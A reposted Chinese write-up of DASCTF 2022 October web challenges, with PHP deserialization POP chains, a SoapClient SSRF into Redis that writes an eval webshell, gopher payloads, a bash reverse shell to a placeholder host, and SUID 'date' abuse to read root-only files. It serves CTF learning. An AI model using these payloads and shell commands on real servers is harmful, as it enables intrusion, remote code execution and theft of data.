我的编程空间,编程开发者的网络收藏夹
学习永远不晚

DASCTF2022 ——十月赛 Web 部分Writeup

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

DASCTF2022 ——十月赛 Web 部分Writeup

题目环境是 php 7.4, 图省事直接把所有属性的类型都改成 public

起点是 sorry 类的 __destruct(), 由 echo $this->hint 调用到 show 类的 __toString() 方法, 然后通过执行 $this->ctf->show() 跳转 secret_code 类的 __call() , 进而到 show() 方法, 在 show() 方法中访问不存在的属性, 跳转到 sorry 类的 __get(), 最后通过 $name() 跳到 fine 类的 __invoke()

pop 链构造如下

phpclass fine{    public $cmd;    public $content;}class show{    public $ctf;    public $time;}class sorry{    public $name;    public $password;    public $hint;    public $key;}class secret_code{    public $code;}$e = new fine();$e->cmd = 'system';$e->content = 'cat /flag';$d = new sorry();$d->key = $e;$c = new secret_code();$c->code = $d;$b = new Show();$b->ctf = $c;$a = new sorry();$a->name = '123';$a->password = '123';$a->hint = $b;echo serialize($a);

最后改一下数字绕过 __wakeup

http://f9eac3ed-9425-4fe7-a009-aad41f9db212.node4.buuoj.cn:81/?pop=O:5:"sorry":4:{s:4:"name";s:3:"123";s:8:"password";s:3:"123";s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231752647.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231753442.png

cancan need 有任意文件读取

http://745b93ee-b378-4803-b84e-52f9e7b78d2a.node4.buuoj.cn:81/file.php?m=show&filename=file.php

file.php

............

error_reporting(0);

session_start();

include 'class.php';

if($_SESSION['isLogin'] !== true){

    die("");

}

$form = '

   

   

';

$file = new file();

switch ($_GET['m']) {

    case 'upload':

        if(empty($_FILES)){die($form);}

        $type = end(explode(".", $_FILES['file']['name']));

        if ($file->check($type)) {

            die($file->upload($type));

        }else{

            die('你食不食油饼');

        }

        break;

    case 'show':

        die($file->show($_GET['filename']));

        break;

    case 'rm':

        $file->rmfile();

        die("全删干净了捏");

        break;

    case 'logout':

        session_destroy();

        die("");

        break;

    default:

        echo '

Halo! '.$_SESSION['username'].'

';

        break;

}

?>

............

class.php

class User

{

    public $username;

    public function __construct($username){

        $this->username = $username;

        $_SESSION['isLogin'] = True;

        $_SESSION['username'] = $username;

    }

    public function __wakeup(){

        $cklen = strlen($_SESSION["username"]);

        if ($cklen != 0 and $cklen <= 6) {

            $this->username = $_SESSION["username"];

        }

    }

    public function __destruct(){

        if ($this->username == '') {

            session_destroy();

        }

    }

}

class File

{

    #更新黑名单为白名单,更加的安全

    public $white = array("jpg","png");

    public function show($filename){

        echo '

';

        if(empty($filename)){die();}

        return '';

    }

    public function upload($type){

        $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";

        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);

        return "Upload success! Path: upload/" . $filename;

    }

    public function rmfile(){

        system('rm -rf /var/www/html/upload/*');

    }

    public function check($type){

        if (!in_array($type,$this->white)){

            return false;

        }

        return true;

    }

}

#更新了一个恶意又有趣的Test类

class Test

{

    public $value;

    public function __destruct(){

        chdir('./upload');

        $this->backdoor();

    }

    public function __wakeup(){

        $this->value = "Don't make dream.Wake up plz!";

    }

    public function __toString(){

        $file = substr($_GET['file'],0,3);

        file_put_contents($file, "Hack by $file !");

        return 'Unreachable! :)';

    }

    public function backdoor(){

        if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){

            $this->value = 'nono~';

        }

        system($this->value);

    }

}

Test 类可以利用, 第一时间想的是 phar 反序列化

可以用 . 执行命令来绕过正则

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231758660.png

思路就是先上传 phar 文件, 然后上传一个 jpg, 其内容包含要执行的命令

注意 jpg 的名称要在 phar 的前面, 例如 phar 的名称是 dasctfe4.jpg, 包含命令的 jpg 名称必须是 dasctfc2.jpg 或者 dasctf01.jpg (ascii 码较小)

不过试的时候发现绕过 wakeup 好像不太行…

然后想起来做 EasyLove 题的时候根目录下有个 start.sh 部署脚本, 结合题目的描述 tips:flag在/目录下的一个文件里, 索性直接读取 start.sh 看看

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231801987.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231803463.png

读取 /ghjsdk_F149_H3re_asdasfc 得到 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231804991.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231804073.png

根据题目描述的 redis, 猜测是通过 ssrf + redis 来 getshell

$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng); 这句很明显是要通过某个类来执行 ssrf

众所周知 redis 的协议很宽松, 支持用 http 来发包, 而 php 原生的 SoapClient 类可以发送 http

payload 如下

class swpu{

    public $wllm;

    public $arsenetang;

    public $l61q4cheng;

    public $love;

}

$a = new swpu();

$a->wllm = 'SoapClient';

$a->arsenetang = null;

$target = 'http://127.0.0.1:6379/';

$poc = "flushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz ''\r\nsave";

$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");

echo urlencode(serialize($a));

试的时候一直卡住 (正常现象), 访问 shell.php 也显示 404

于是猜测 redis 可能有认证, 看了下题目有 hint 类, 通过 file_get_contents() 来获得 hint.php 的内容

直接反序列化 hint 无回显, 结果想试试 file_get_contents() + gopher 的时候阴差阳错地读到了 hint.php

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231829355.png

class hint{

    public $hint;

}

$a = new hint();

$a->hint = 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A';

echo serialize($a);

http://0021bfdb-5d2b-42ff-9505-49d23c4aa0e2.node4.buuoj.cn:81/?hello=O:4:"hint":1:{s:4:"hint";s:404:"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A";}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231830188.png

猜测 20220311 就是 redis 的密码

于是最终 payload 如下

class swpu{

    public $wllm;

    public $arsenetang;

    public $l61q4cheng;

    public $love;

}

$a = new swpu();

$a->wllm = 'SoapClient';

$a->arsenetang = null;

$target = 'http://127.0.0.1:6379/';

$poc = "auth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz ''\r\nsave";

$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");

echo urlencode(serialize($a));

O%3A4%3A%22swpu%22%3A4%3A%7Bs%3A4%3A%22wllm%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A10%3A%22arsenetang%22%3BN%3Bs%3A10%3A%22l61q4cheng%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A3%3A%22uri%22%3Bs%3A145%3A%22hello%0D%0Aauth+20220311%0D%0Aflushall%0D%0Aconfig+set+dir+%2Fvar%2Fwww%2Fhtml%2F%0D%0Aconfig+set+dbfilename+shell.php%0D%0Aset+xzxzxz+%27%3C%3F%3Deval%28%24_REQUEST%5B1%5D%29%3F%3E%27%0D%0Asave%0D%0Ahello%22%3B%7Ds%3A4%3A%22love%22%3BN%3B%7D

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231832077.png

访问 shell.php

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231833180.png

蚁剑连接, 发现 flag 打不开

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231833251.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231834534.png

root 权限, 估计是要提权

先用 bash 反弹 shell, 直接输入会有点问题, 解决方法是先在 bash.sh 里写入反弹命令, 然后通过 bash bash.sh 来执行

bash -i >& /dev/tcp/xxxx/yyyy 0>&1

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231836286.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231837760.png

查找带 SUID 的文件

find / -perm -u=s -type f 2>/dev/null
https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231839463.png

发现有 date, 于是直接用 date 来读取 flag

date -f /hereisflag/flllll111aaagg

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231839756.png

参考原文: https://exp10it.cn/2022/10/dasctf-2022-十月赛-web-部分-writeup/ 来自为知笔记(Wiz)

来源地址:https://blog.csdn.net/m0_64910183/article/details/127569484

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

DASCTF2022 ——十月赛 Web 部分Writeup

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录